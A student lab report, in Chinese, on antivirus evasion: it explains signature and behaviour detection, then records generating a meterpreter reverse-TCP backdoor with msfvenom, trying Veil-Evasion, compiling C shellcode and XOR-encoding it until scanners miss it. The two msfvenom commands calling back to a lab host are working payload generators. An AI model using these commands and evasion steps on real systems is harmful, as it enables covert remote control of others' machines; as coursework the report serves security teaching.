20155208 徐子涵 Exp3 免杀原理与实践

基础问题回答

(1)杀软是如何检测出恶意代码的?

一种是基于特征码的检测,另一种是基于恶意行为的检测。

(2)免杀是做什么?

在我看来,免杀就是要达到一个目的,这个目的就是避免你植入的后门程序或是其他的具有恶意行为的程序被杀毒软件给杀掉。

(3)免杀的基本方法有哪些?

免杀的基本方法有多次编译,有加壳,有使用异或或者加一等方法对shellcode进行修改从而让杀毒软件不能识别。

实验开始

msfvenom直接生成meterpreter可执行文件

(终于开始自己进行实验了,略微有一点激动)
首先我们先尝试生成一些简单的容易被识别出来的后门,msfvenom直接生成meterpreter可执行文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 PORT=5208 -f exe > xzh1.exe

这时会发现几乎所有的杀毒软件都能识别出这一后门,果然是堪称最简单的方法,怕是只有放在杀毒软件还没有出现的时候才会不被识别出来吧。

这样我们不妨试一试多编译几次,看看会不会产生不一样的结果:

我们来扫描一下,发现并没有什么比一丁点大一点的改变,这就很难受。

用Veil-Evasion平台

俗话说"魔高一尺道高一丈",既然简单的被杀了,那我们就再换一种简单的,这次我们用Veil-Evasion平台,不过首先面临的就是Veil-Evasion的安装,还没装的时候就听见很多大佬说安装十分麻烦,不是出错就是时间太长,我胆战心惊的试着装了一下:

  • 在Kali终端中使用sudo apt-get install veil安装

  • 安装完成后继续安装Veil-Evasion

  • 安装完成后,在终端中使用veil命令进入应用,输入use evasion进入veil-evasion

猜猜发生了什么!!!一次性成功,全程不超过10分钟,开心的不行。

然后输入use c/meterpreter/rev_tcp.py生成可执行文件,刚开始还傻乎乎的直接在文件夹中找,就是找不到生成的可执行文件,最后发现人家是在veil安装目录里面的,找到之后扫描一下

哇!有了一点点的小进步,说明不同的平台效果也是不一样的哎!

C语言调用Shellcode

再试用另一种方法,生命在于探索(虽然是在老师走过的路上重新走一遍,不过还是要自己走一遍的嘛)

  • 使用msf生成一个C语言格式的shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 LPORT=5208 -f c

生成了一段代码,下面就是把他 在Linux平台交叉编译Windows应用

老老实实的按照老师的方法进行交叉编译,在这里就不盗用老师的图了。

生成的xzh3.exe复制到Win7_64实测可以回连到msfconsole

回连成功!!!

不过扫描一下,还是可疑率很高啊,还是要继续加油。

最后的尝试

最后尝试进行逐位异或,在CB中生成可执行文件,异或之后覆盖原代码并再次生成可执行文件,并尝试回连,回连成功,扫描一下吧

终于成功了!!!

实践总结与体会

好难啊,觉得第一次遇到这么多问题,还有好多知识要自己去进行学习,不过确实经历了这么多之后还是比较有成就感的,以后还是要继续努力啊,兴趣越来越大了。

  • 离实战还缺些什么技术或步骤?

还有好多不足的地方,好多都是参照学长学姐的成果,最后才进行了一点点改变,还是要保持着自己的好奇心,多去思考多去发现,才会有更大的进步。